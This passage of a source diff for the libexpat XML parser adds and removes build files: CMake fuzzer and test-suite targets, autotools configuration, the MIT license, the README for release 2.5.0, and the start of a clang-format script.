"-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=<sanitizer>' to your cmake "
"execution.")
endif()
if(EXPAT_OSSFUZZ_BUILD AND NOT DEFINED ENV{LIB_FUZZING_ENGINE})
message(SEND_ERROR
"OSS-Fuzz builds require the environment variable "
"LIB_FUZZING_ENGINE to be set. If you are seeing this "
"warning, it points to a deeper problem in the ossfuzz "
"build setup.")
endif()
set(encoding_types UTF-16 UTF-8 ISO-8859-1 US-ASCII UTF-16BE UTF-16LE)
set(fuzz_targets xml_parse_fuzzer xml_parsebuffer_fuzzer)
add_library(fuzzpat STATIC ${_EXPAT_C_SOURCES})
if(NOT EXPAT_OSSFUZZ_BUILD)
target_compile_options(fuzzpat PRIVATE -fsanitize=fuzzer-no-link)
endif()
foreach(fuzz_target ${fuzz_targets})
foreach(encoding_type ${encoding_types})
set(target_name ${fuzz_target}_${encoding_type})
add_executable(${target_name} fuzz/${fuzz_target}.c)
target_link_libraries(${target_name} fuzzpat)
target_compile_definitions(${target_name}
PRIVATE ENCODING_FOR_FUZZING=${encoding_type})
if(NOT EXPAT_OSSFUZZ_BUILD)
target_compile_options(${target_name} PRIVATE -fsanitize=fuzzer-no-link)
endif()
# NOTE: Avoiding target_link_options here only because it needs CMake >=3.13
if(EXPAT_OSSFUZZ_BUILD)
set_target_properties(${target_name} PROPERTIES LINK_FLAGS $ENV{LIB_FUZZING_ENGINE})
set_target_properties(${target_name} PROPERTIES LINKER_LANGUAGE "CXX")
else()
set_target_properties(${target_name} PROPERTIES LINK_FLAGS -fsanitize=fuzzer)
endif()
set_property(
TARGET ${target_name} PROPERTY RUNTIME_OUTPUT_DIRECTORY fuzz)
endforeach()
endforeach()
else()
if(EXPAT_OSSFUZZ_BUILD)
message(SEND_ERROR
"Attempting to perform an ossfuzz build without turning on the fuzzer build. "
"This is likely in error - consider adding "
"-DEXPAT_BUILD_FUZZERS=ON to your cmake execution.")
endif()
endif()
#
# C/C++ config affecting multiple targets
#
if(WIN32)
set(_EXPAT_STATIC_TARGETS ${_EXPAT_TEST_TARGETS})
if(NOT EXPAT_SHARED_LIBS)
list(APPEND _EXPAT_STATIC_TARGETS expat)
endif()
if(EXPAT_BUILD_FUZZERS)
list(APPEND _EXPAT_STATIC_TARGETS fuzzpat)
endif()
foreach(_target ${_EXPAT_STATIC_TARGETS})
target_compile_definitions(${_target} PUBLIC -DXML_STATIC)
endforeach()
endif()
#
# Custom target "run-xmltest"
#
if(EXPAT_BUILD_TOOLS AND NOT MSVC)
add_custom_target(
xmlts-zip-downloaded
COMMAND
sh -c 'test -f xmlts.zip || wget --output-document=xmlts.zip https://www.w3.org/XML/Test/xmlts20080827.zip'
BYPRODUCTS
tests/xmlts.zip
WORKING_DIRECTORY
tests/)
add_custom_target(
xmlts-zip-extracted
COMMAND
sh -c 'test -d xmlconf || unzip -q xmlts.zip'
BYPRODUCTS
tests/xmlconf
WORKING_DIRECTORY
tests/)
add_dependencies(xmlts-zip-extracted xmlts-zip-downloaded)
add_custom_target(
xmltest-sh-been-run
COMMAND
sh -c '${CMAKE_CURRENT_SOURCE_DIR}/tests/xmltest.sh "bash ${CMAKE_CURRENT_BINARY_DIR}/run.sh $<TARGET_FILE:xmlwf>" 2>&1 | tee tests/xmltest.log'
BYPRODUCTS
tests/xmltest.log)
add_dependencies(xmltest-sh-been-run xmlts-zip-extracted xmlwf)
add_custom_target(
xmltest-log-fixed
COMMAND
${CMAKE_CURRENT_SOURCE_DIR}/fix-xmltest-log.sh tests/xmltest.log
DEPENDS
tests/xmltest.log)
add_dependencies(xmltest-log-fixed xmltest-sh-been-run)
add_custom_target(
xmltest-log-verified
COMMAND
diff -u ${CMAKE_CURRENT_SOURCE_DIR}/tests/xmltest.log.expected tests/xmltest.log)
add_dependencies(xmltest-log-verified xmltest-log-fixed)
add_custom_target(run-xmltest)
add_dependencies(run-xmltest xmltest-log-verified)
endif()
#
# Documentation
#
configure_file(Changes changelog COPYONLY)
expat_install(
FILES
AUTHORS
${CMAKE_CURRENT_BINARY_DIR}/changelog
DESTINATION
${CMAKE_INSTALL_DOCDIR})
#
# CMake files for find_package(expat [..] CONFIG [..])
#
configure_package_config_file(
cmake/expat-config.cmake.in
cmake/expat-config.cmake
INSTALL_DESTINATION
${CMAKE_INSTALL_LIBDIR}/cmake/expat-${PROJECT_VERSION}/
)
write_basic_package_version_file(
cmake/expat-config-version.cmake
COMPATIBILITY SameMajorVersion # i.e. semver
)
export(
TARGETS
expat
FILE
cmake/expat-targets.cmake # not going to be installed
)
expat_install(
FILES
${CMAKE_CURRENT_BINARY_DIR}/cmake/expat-config.cmake
${CMAKE_CURRENT_BINARY_DIR}/cmake/expat-config-version.cmake
DESTINATION
${CMAKE_INSTALL_LIBDIR}/cmake/expat-${PROJECT_VERSION}/
)
expat_install(
EXPORT
expat
DESTINATION
${CMAKE_INSTALL_LIBDIR}/cmake/expat-${PROJECT_VERSION}/
NAMESPACE
expat::
)
#
# CPack
#
# This effectively disables target "package_source".
# That is done due to CPack's unfortunate choice of an exclusion list
# rather than inclusion list. An exclusion list does not protect against
# unwanted files ending up in the resulting archive in a way that's
# safe to run from an Expat developer's machine.
set(CPACK_SOURCE_GENERATOR '')
if(WIN32)
set(CPACK_GENERATOR ZIP)
else()
set(CPACK_GENERATOR TGZ)
endif()
include(CPack)
#
# Summary
#
if(EXPAT_CHAR_TYPE STREQUAL "char")
set(_EXPAT_CHAR_TYPE_SUMMARY "char (UTF-8)")
elseif(EXPAT_CHAR_TYPE STREQUAL "ushort")
set(_EXPAT_CHAR_TYPE_SUMMARY "ushort (unsigned short, UTF-16)")
elseif(EXPAT_CHAR_TYPE STREQUAL "wchar_t")
if(WIN32)
set(_EXPAT_CHAR_TYPE_SUMMARY "wchar_t (UTF-16)")
else()
set(_EXPAT_CHAR_TYPE_SUMMARY "wchar_t (UTF-32) // not implemented")
endif()
else()
set(_EXPAT_CHAR_TYPE_SUMMARY "ERROR")
endif()
# NOTE: We're not accessing global property GENERATOR_IS_MULTI_CONFIG
# because that would require CMake >=3.9
if(CMAKE_CONFIGURATION_TYPES)
set(_EXPAT_GENERATOR_IS_MULTI_CONFIG TRUE)
else()
set(_EXPAT_GENERATOR_IS_MULTI_CONFIG FALSE)
endif()
message(STATUS "===========================================================================")
message(STATUS "")
message(STATUS "Configuration")
message(STATUS " Generator .................. ${CMAKE_GENERATOR}")
if(_EXPAT_GENERATOR_IS_MULTI_CONFIG)
message(STATUS " Build types ................ ${CMAKE_CONFIGURATION_TYPES}")
else()
message(STATUS " Build type ................. ${CMAKE_BUILD_TYPE}")
endif()
message(STATUS " Prefix ..................... ${CMAKE_INSTALL_PREFIX}")
message(STATUS " Shared libraries ........... ${EXPAT_SHARED_LIBS}")
if(MSVC)
message(STATUS " Static CRT ................. ${EXPAT_MSVC_STATIC_CRT}")
endif()
message(STATUS " Character type ............. ${_EXPAT_CHAR_TYPE_SUMMARY}")
if(NOT _EXPAT_GENERATOR_IS_MULTI_CONFIG)
message(STATUS " Library name postfix ....... ${EXPAT_${_EXPAT_BUILD_TYPE_UPPER}_POSTFIX}")
endif()
message(STATUS "")
message(STATUS " Build documentation ........ ${EXPAT_BUILD_DOCS}")
message(STATUS " Build examples ............. ${EXPAT_BUILD_EXAMPLES}")
message(STATUS " Build fuzzers .............. ${EXPAT_BUILD_FUZZERS}")
message(STATUS " Build tests ................ ${EXPAT_BUILD_TESTS}")
message(STATUS " Build tools (xmlwf) ........ ${EXPAT_BUILD_TOOLS}")
message(STATUS " Build pkg-config file ...... ${EXPAT_BUILD_PKGCONFIG}")
message(STATUS " Install files .............. ${EXPAT_ENABLE_INSTALL}")
message(STATUS "")
message(STATUS " Features")
message(STATUS " // Advanced options, changes not advised")
message(STATUS " Attributes info .......... ${EXPAT_ATTR_INFO}")
message(STATUS " Context bytes ............ ${EXPAT_CONTEXT_BYTES}")
message(STATUS " DTD support .............. ${EXPAT_DTD}")
message(STATUS " Large size ............... ${EXPAT_LARGE_SIZE}")
message(STATUS " Minimum size ............. ${EXPAT_MIN_SIZE}")
message(STATUS " Namespace support ........ ${EXPAT_NS}")
message(STATUS "")
message(STATUS " Entropy sources")
if(WIN32)
message(STATUS " rand_s ................... ON")
else()
message(STATUS " getrandom ................ ${HAVE_GETRANDOM}")
message(STATUS " syscall SYS_getrandom .... ${HAVE_SYSCALL_GETRANDOM}")
message(STATUS " libbsd ................... ${EXPAT_WITH_LIBBSD}")
message(STATUS " /dev/random .............. ${EXPAT_DEV_URANDOM}")
endif()
message(STATUS "")
if(CMAKE_GENERATOR STREQUAL "Unix Makefiles")
message(STATUS "Continue with")
message(STATUS " make")
if(EXPAT_BUILD_TESTS)
message(STATUS " make test")
endif()
if(EXPAT_ENABLE_INSTALL)
message(STATUS " sudo make install")
endif()
message(STATUS "")
endif()
message(STATUS "===========================================================================")
+21
View File
@@ -0,0 +1,21 @@
Copyright (c) 1998-2000 Thai Open Source Software Center Ltd and Clark Cooper
Copyright (c) 2001-2022 Expat maintainers
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+1278
View File
File diff suppressed because it is too large. Load diff
+69
View File
@@ -0,0 +1,69 @@
include(CheckCCompilerFlag)
include(CheckCSourceCompiles)
include(CheckIncludeFile)
include(CheckIncludeFiles)
include(CheckLibraryExists)
include(CheckSymbolExists)
include(TestBigEndian)
check_include_file("dlfcn.h" HAVE_DLFCN_H)
check_include_file("fcntl.h" HAVE_FCNTL_H)
check_include_file("inttypes.h" HAVE_INTTYPES_H)
check_include_file("memory.h" HAVE_MEMORY_H)
check_include_file("stdint.h" HAVE_STDINT_H)
check_include_file("stdlib.h" HAVE_STDLIB_H)
check_include_file("strings.h" HAVE_STRINGS_H)
check_include_file("string.h" HAVE_STRING_H)
check_include_file("sys/stat.h" HAVE_SYS_STAT_H)
check_include_file("sys/types.h" HAVE_SYS_TYPES_H)
check_include_file("unistd.h" HAVE_UNISTD_H)
check_symbol_exists("getpagesize" "unistd.h" HAVE_GETPAGESIZE)
check_symbol_exists("mmap" "sys/mman.h" HAVE_MMAP)
check_symbol_exists("getrandom" "sys/random.h" HAVE_GETRANDOM)
if(EXPAT_WITH_LIBBSD)
set(CMAKE_REQUIRED_LIBRARIES "${LIB_BSD}")
set(_bsd "bsd/")
else()
set(_bsd "")
endif()
check_symbol_exists("arc4random_buf" "${_bsd}stdlib.h" HAVE_ARC4RANDOM_BUF)
if(NOT HAVE_ARC4RANDOM_BUF)
check_symbol_exists("arc4random" "${_bsd}stdlib.h" HAVE_ARC4RANDOM)
endif()
set(CMAKE_REQUIRED_LIBRARIES)
#/* Define to 1 if you have the ANSI C header files. */
check_include_files("stdlib.h;stdarg.h;string.h;float.h" STDC_HEADERS)
test_big_endian(WORDS_BIGENDIAN)
#/* 1234 = LIL_ENDIAN, 4321 = BIGENDIAN */
if(WORDS_BIGENDIAN)
set(BYTEORDER 4321)
else(WORDS_BIGENDIAN)
set(BYTEORDER 1234)
endif(WORDS_BIGENDIAN)
if(HAVE_SYS_TYPES_H)
check_symbol_exists("off_t" "sys/types.h" OFF_T)
check_symbol_exists("size_t" "sys/types.h" SIZE_T)
else(HAVE_SYS_TYPES_H)
set(OFF_T "long")
set(SIZE_T "unsigned")
endif(HAVE_SYS_TYPES_H)
check_c_source_compiles("
#include <stdlib.h> /* for NULL */
#include <unistd.h> /* for syscall */
#include <sys/syscall.h> /* for SYS_getrandom */
int main() {
syscall(SYS_getrandom, NULL, 0, 0);
return 0;
}"
HAVE_SYSCALL_GETRANDOM)
check_c_compiler_flag("-fno-strict-aliasing" FLAG_NO_STRICT_ALIASING)
check_c_compiler_flag("-fvisibility=hidden" FLAG_VISIBILITY)
check_library_exists(m cos "" _EXPAT_LIBM_FOUND)
-46
View File
@@ -1,46 +0,0 @@
CC=gcc
# If you know what your system's byte order is, define XML_BYTE_ORDER:
# use -DXML_BYTE_ORDER=12 for little-endian byte order;
# use -DXML_BYTE_ORDER=21 for big-endian (network) byte order.
# -DXML_NS adds support for checking of lexical aspects of XML namespaces spec
# -DXML_MIN_SIZE makes a smaller but slower parser
# -DXML_DTD adds full support for parsing DTDs
CFLAGS=-Wall -O2 -Ixmltok -Ixmlparse -DXML_NS -DXML_DTD
AR=ar
# Use one of the next two lines; unixfilemap is better if it works.
FILEMAP_OBJ=xmlwf/unixfilemap.o
#FILEMAP_OBJ=xmlwf/readfilemap.o
LIBOBJS=xmltok/xmltok.o \
xmltok/xmlrole.o \
xmlparse/xmlparse.o
OBJS=xmlwf/xmlwf.o \
xmlwf/xmlfile.o \
xmlwf/codepage.o \
$(FILEMAP_OBJ)
LIB=xmlparse/libexpat.a
EXE=
XMLWF=xmlwf/xmlwf$(EXE)
all: $(XMLWF)
$(XMLWF): $(OBJS) $(LIB)
$(CC) $(CFLAGS) -o $@ $(OBJS) $(LIB)
$(LIB): $(LIBOBJS)
$(AR) rc $(LIB) $(LIBOBJS)
clean:
rm -f $(OBJS) $(LIBOBJS) $(LIB) $(XMLWF)
xmltok/nametab.h: gennmtab/gennmtab$(EXE)
rm -f $@
gennmtab/gennmtab$(EXE) >$@
gennmtab/gennmtab$(EXE): gennmtab/gennmtab.c
$(CC) $(CFLAGS) -o $@ gennmtab/gennmtab.c
xmltok/xmltok.o: xmltok/nametab.h
.c.o:
$(CC) $(CFLAGS) -c -o $@ $<
+175
View File
@@ -0,0 +1,175 @@
#
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017-2021 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2018 KangLin <kl222@126.com>
# Copyright (c) 2022 Johnny Jazeix <jazeix@gmail.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
AUTOMAKE_OPTIONS = \
dist-bzip2 \
dist-lzip \
dist-xz \
foreign \
subdir-objects
ACLOCAL_AMFLAGS = -I m4
LIBTOOLFLAGS = --verbose
SUBDIRS = lib # lib goes first to build first
if WITH_EXAMPLES
SUBDIRS += examples
endif
if WITH_TESTS
SUBDIRS += tests
endif
if WITH_XMLWF
SUBDIRS += xmlwf doc
endif
pkgconfig_DATA = expat.pc
pkgconfigdir = $(libdir)/pkgconfig
dist_cmake_DATA = \
cmake/autotools/expat.cmake
nodist_cmake_DATA = \
cmake/autotools/expat-config-version.cmake \
cmake/autotools/expat-noconfig.cmake \
cmake/expat-config.cmake
cmakedir = $(libdir)/cmake/expat-@PACKAGE_VERSION@
_EXTRA_DIST_CMAKE = \
cmake/autotools/expat-noconfig__linux.cmake.in \
cmake/autotools/expat-noconfig__macos.cmake.in \
cmake/autotools/expat-noconfig__windows.cmake.in \
cmake/autotools/expat-package-init.cmake \
cmake/mingw-toolchain.cmake \
\
CMakeLists.txt \
CMake.README \
ConfigureChecks.cmake \
expat.pc.cmake \
expat_config.h.cmake
_EXTRA_DIST_WINDOWS = \
win32/build_expat_iss.bat \
win32/expat.iss \
win32/MANIFEST.txt \
win32/README.txt \
win32/version.rc
EXTRA_DIST = \
$(_EXTRA_DIST_CMAKE) \
$(_EXTRA_DIST_WINDOWS) \
\
conftools/expat.m4 \
conftools/get-version.sh \
\
fuzz/xml_parsebuffer_fuzzer.c \
fuzz/xml_parse_fuzzer.c \
\
xmlwf/xmlwf_helpgen.py \
xmlwf/xmlwf_helpgen.sh \
\
buildconf.sh \
Changes \
README.md \
\
fix-xmltest-log.sh \
test-driver-wrapper.sh
.PHONY: buildlib
buildlib:
@echo 'ERROR: Running "make buildlib LIBRARY=libexpatw.la"' >&2
@echo 'ERROR: is no longer supported. INSTEAD please:' >&2
@echo 'ERROR:' >&2
@echo 'ERROR: * Mass-patch Makefile.am, e.g.' >&2
@echo 'ERROR: # find -name Makefile.am -exec sed \' >&2
@echo 'ERROR: -e "s,libexpat\.la,libexpatw.la," \' >&2
@echo 'ERROR: -e "s,libexpat_la,libexpatw_la," \' >&2
@echo 'ERROR: -i {} +' >&2
@echo 'ERROR:' >&2
@echo 'ERROR: * Run automake to re-generate Makefile.in files' >&2
@echo 'ERROR:' >&2
@echo 'ERROR: * Use "./configure --without-xmlwf" and/or' >&2
@echo 'ERROR: "make -C lib all install" to bypass compilation' >&2
@echo 'ERROR: of xmlwf (e.g. with -DXML_UNICODE)' >&2
@echo 'ERROR:' >&2
@false
.PHONY: run-benchmark
run-benchmark:
$(MAKE) -C tests/benchmark
./run.sh tests/benchmark/benchmark@EXEEXT@ -n $(top_srcdir)/../testdata/largefiles/recset.xml 65535 3
.PHONY: download-xmlts-zip
download-xmlts-zip:
if test "$(XMLTS_ZIP)" = ""; then \
wget --output-document=tests/xmlts.zip \
https://www.w3.org/XML/Test/xmlts20080827.zip; \
else \
cp $(XMLTS_ZIP) tests/xmlts.zip; \
fi
tests/xmlts.zip:
$(MAKE) download-xmlts-zip
.PHONY: extract-xmlts-zip
extract-xmlts-zip: tests/xmlts.zip
[ -f $(builddir)/tests/xmlts.zip ] || $(MAKE) download-xmlts-zip # vpath workaround
cd tests && unzip -q xmlts.zip
tests/xmlconf: tests/xmlts.zip
$(MAKE) extract-xmlts-zip
.PHONY: run-xmltest
run-xmltest: tests/xmlconf
if WITH_XMLWF
[ -d $(builddir)/tests/xmlconf ] || $(MAKE) extract-xmlts-zip # vpath workaround
$(MAKE) -C lib
$(MAKE) -C xmlwf
$(srcdir)/tests/xmltest.sh "$(abs_builddir)/run.sh $(abs_builddir)/xmlwf/xmlwf@EXEEXT@" 2>&1 | tee $(builddir)/tests/xmltest.log
$(srcdir)/fix-xmltest-log.sh $(builddir)/tests/xmltest.log
diff -u $(srcdir)/tests/xmltest.log.expected $(builddir)/tests/xmltest.log
else
@echo 'ERROR: xmlwf is needed for "make run-xmltest".' >&2
@echo 'ERROR: Please re-configure without --without-xmlwf.' >&2
@false
endif
.PHONY: qa
qa:
QA_COMPILER=clang QA_SANITIZER=address ./qa.sh
QA_COMPILER=clang QA_SANITIZER=memory ./qa.sh
QA_COMPILER=clang QA_SANITIZER=undefined ./qa.sh
QA_COMPILER=gcc QA_PROCESSOR=gcov ./qa.sh
+269
View File
@@ -0,0 +1,269 @@
[![Run Linux Travis CI tasks](https://github.com/libexpat/libexpat/actions/workflows/linux.yml/badge.svg)](https://github.com/libexpat/libexpat/actions/workflows/linux.yml)
[![AppVeyor Build Status](https://ci.appveyor.com/api/projects/status/github/libexpat/libexpat?svg=true)](https://ci.appveyor.com/project/libexpat/libexpat)
[![Packaging status](https://repology.org/badge/tiny-repos/expat.svg)](https://repology.org/metapackage/expat/versions)
[![Downloads SourceForge](https://img.shields.io/sourceforge/dt/expat?label=Downloads%20SourceForge)](https://sourceforge.net/projects/expat/files/)
[![Downloads GitHub](https://img.shields.io/github/downloads/libexpat/libexpat/total?label=Downloads%20GitHub)](https://github.com/libexpat/libexpat/releases)
# Expat, Release 2.5.0
This is Expat, a C library for parsing XML, started by
[James Clark](https://en.wikipedia.org/wiki/James_Clark_%28programmer%29) in 1997.
Expat is a stream-oriented XML parser. This means that you register
handlers with the parser before starting the parse. These handlers
are called when the parser discovers the associated structures in the
document being parsed. A start tag is an example of the kind of
structures for which you may register handlers.
Expat supports the following compilers:
- GNU GCC >=4.5
- LLVM Clang >=3.5
- Microsoft Visual Studio >=15.0/2017 (rolling `${today} minus 5 years`)
Windows users can use the
[`expat-win32bin-*.*.*.{exe,zip}` download](https://github.com/libexpat/libexpat/releases),
which includes both pre-compiled libraries and executables, and source code for
developers.
Expat is [free software](https://www.gnu.org/philosophy/free-sw.en.html).
You may copy, distribute, and modify it under the terms of the License
contained in the file
[`COPYING`](https://github.com/libexpat/libexpat/blob/master/expat/COPYING)
distributed with this package.
This license is the same as the MIT/X Consortium license.
## Using libexpat in your CMake-Based Project
There are two ways of using libexpat with CMake:
### a) Module Mode
This approach leverages CMake's own [module `FindEXPAT`](https://cmake.org/cmake/help/latest/module/FindEXPAT.html).
Notice the *uppercase* `EXPAT` in the following example:
```cmake
cmake_minimum_required(VERSION 3.0) # or 3.10, see below
project(hello VERSION 1.0.0)
find_package(EXPAT 2.2.8 MODULE REQUIRED)
add_executable(hello
hello.c
)
# a) for CMake >=3.10 (see CMake's FindEXPAT docs)
target_link_libraries(hello PUBLIC EXPAT::EXPAT)
# b) for CMake >=3.0
target_include_directories(hello PRIVATE ${EXPAT_INCLUDE_DIRS})
target_link_libraries(hello PUBLIC ${EXPAT_LIBRARIES})
```
### b) Config Mode
This approach requires files from…
- libexpat >=2.2.8 where packaging uses the CMake build system
or
- libexpat >=2.3.0 where packaging uses the GNU Autotools build system
on Linux
or
- libexpat >=2.4.0 where packaging uses the GNU Autotools build system
on macOS or MinGW.
Notice the *lowercase* `expat` in the following example:
```cmake
cmake_minimum_required(VERSION 3.0)
project(hello VERSION 1.0.0)
find_package(expat 2.2.8 CONFIG REQUIRED char dtd ns)
add_executable(hello
hello.c
)
target_link_libraries(hello PUBLIC expat::expat)
```
## Building from a Git Clone
If you are building Expat from a check-out from the
[Git repository](https://github.com/libexpat/libexpat/),
you need to run a script that generates the configure script using the
GNU autoconf and libtool tools. To do this, you need to have
autoconf 2.58 or newer. Run the script like this:
```console
./buildconf.sh
```
Once this has been done, follow the same instructions as for building
from a source distribution.
## Building from a Source Distribution
### a) Building with the configure script (i.e. GNU Autotools)
To build Expat from a source distribution, you first run the
configuration shell script in the top level distribution directory:
```console
./configure
```
There are many options which you may provide to configure (which you
can discover by running configure with the `--help` option). But the
one of most interest is the one that sets the installation directory.
By default, the configure script will set things up to install
libexpat into `/usr/local/lib`, `expat.h` into `/usr/local/include`, and
`xmlwf` into `/usr/local/bin`. If, for example, you'd prefer to install
into `/home/me/mystuff/lib`, `/home/me/mystuff/include`, and
`/home/me/mystuff/bin`, you can tell `configure` about that with:
```console
./configure --prefix=/home/me/mystuff
```
Another interesting option is to enable 64-bit integer support for
line and column numbers and the over-all byte index:
```console
./configure CPPFLAGS=-DXML_LARGE_SIZE
```
However, such a modification would be a breaking change to the ABI
and is therefore not recommended for general use &mdash; e.g. as part of
a Linux distribution &mdash; but rather for builds with special requirements.
After running the configure script, the `make` command will build
things and `make install` will install things into their proper
location. Have a look at the `Makefile` to learn about additional
`make` options. Note that you need to have write permission into
the directories into which things will be installed.
If you are interested in building Expat to provide document
information in UTF-16 encoding rather than the default UTF-8, follow
these instructions (after having run `make distclean`).
Please note that we configure with `--without-xmlwf` as xmlwf does not
support this mode of compilation (yet):
1. Mass-patch `Makefile.am` files to use `libexpatw.la` for a library name:
<br/>
`find -name Makefile.am -exec sed
-e 's,libexpat\.la,libexpatw.la,'
-e 's,libexpat_la,libexpatw_la,'
-i {} +`
1. Run `automake` to re-write `Makefile.in` files:<br/>
`automake`
1. For UTF-16 output as unsigned short (and version/error strings as char),
run:<br/>
`./configure CPPFLAGS=-DXML_UNICODE --without-xmlwf`<br/>
For UTF-16 output as `wchar_t` (incl. version/error strings), run:<br/>
`./configure CFLAGS="-g -O2 -fshort-wchar" CPPFLAGS=-DXML_UNICODE_WCHAR_T
--without-xmlwf`
<br/>Note: The latter requires libc compiled with `-fshort-wchar`, as well.
1. Run `make` (which excludes xmlwf).
1. Run `make install` (again, excludes xmlwf).
Using `DESTDIR` is supported. It works as follows:
```console
make install DESTDIR=/path/to/image
```
overrides the in-makefile set `DESTDIR`, because variable-setting priority is
1. commandline
1. in-makefile
1. environment
Note: This only applies to the Expat library itself, building UTF-16 versions
of xmlwf and the tests is currently not supported.
When using Expat with a project using autoconf for configuration, you
can use the probing macro in `conftools/expat.m4` to determine how to
include Expat. See the comments at the top of that file for more
information.
A reference manual is available in the file `doc/reference.html` in this
distribution.
### b) Building with CMake
The CMake build system is still *experimental* and may replace the primary
build system based on GNU Autotools at some point when it is ready.
#### Available Options
For an idea of the available (non-advanced) options for building with CMake:
```console
# rm -f CMakeCache.txt ; cmake -D_EXPAT_HELP=ON -LH . | grep -B1 ':.*=' | sed 's,^--$,,'
// Choose the type of build, options are: None Debug Release RelWithDebInfo MinSizeRel ...
CMAKE_BUILD_TYPE:STRING=
// Install path prefix, prepended onto install directories.
CMAKE_INSTALL_PREFIX:PATH=/usr/local
// Path to a program.
DOCBOOK_TO_MAN:FILEPATH=/usr/bin/docbook2x-man
// Build man page for xmlwf
EXPAT_BUILD_DOCS:BOOL=ON
// Build the examples for expat library
EXPAT_BUILD_EXAMPLES:BOOL=ON
// Build fuzzers for the expat library
EXPAT_BUILD_FUZZERS:BOOL=OFF
// Build pkg-config file
EXPAT_BUILD_PKGCONFIG:BOOL=ON
// Build the tests for expat library
EXPAT_BUILD_TESTS:BOOL=ON
// Build the xmlwf tool for expat library
EXPAT_BUILD_TOOLS:BOOL=ON
// Character type to use (char|ushort|wchar_t) [default=char]
EXPAT_CHAR_TYPE:STRING=char
// Install expat files in cmake install target
EXPAT_ENABLE_INSTALL:BOOL=ON
// Use /MT flag (static CRT) when compiling in MSVC
EXPAT_MSVC_STATIC_CRT:BOOL=OFF
// Build fuzzers via ossfuzz for the expat library
EXPAT_OSSFUZZ_BUILD:BOOL=OFF
// Build a shared expat library
EXPAT_SHARED_LIBS:BOOL=ON
// Treat all compiler warnings as errors
EXPAT_WARNINGS_AS_ERRORS:BOOL=OFF
// Make use of getrandom function (ON|OFF|AUTO) [default=AUTO]
EXPAT_WITH_GETRANDOM:STRING=AUTO
// Utilize libbsd (for arc4random_buf)
EXPAT_WITH_LIBBSD:BOOL=OFF
// Make use of syscall SYS_getrandom (ON|OFF|AUTO) [default=AUTO]
EXPAT_WITH_SYS_GETRANDOM:STRING=AUTO
```
+12
View File
@@ -0,0 +1,12 @@
# acinclude.m4 --
#
m4_include(conftools/ax-require-defined.m4)
m4_include(conftools/ax-check-compile-flag.m4)
m4_include(conftools/ax-check-link-flag.m4)
m4_include(conftools/ax-append-flag.m4)
m4_include(conftools/ax-append-compile-flags.m4)
m4_include(conftools/ax-append-link-flags.m4)
m4_include(conftools/expatcfg-compiler-supports-visibility.m4)
### end of file
+62
View File
@@ -0,0 +1,62 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2019-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2022 Rosen Penev <rosenp@gmail.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set -e
set -u
set -o pipefail
clang-format --version
clang_format_args=(
-i
-style=file
-verbose
)
if [[ $# -ge 1 ]]; then
exec clang-format "${clang_format_args[@]}" "$@"
fi
expand --tabs=2 --initial lib/siphash.h | sponge lib/siphash.h
find . \
-name '*.[ch]' \
-o -name '*.cpp' \
-o -name '*.cxx' \
-o -name '*.h.cmake' \
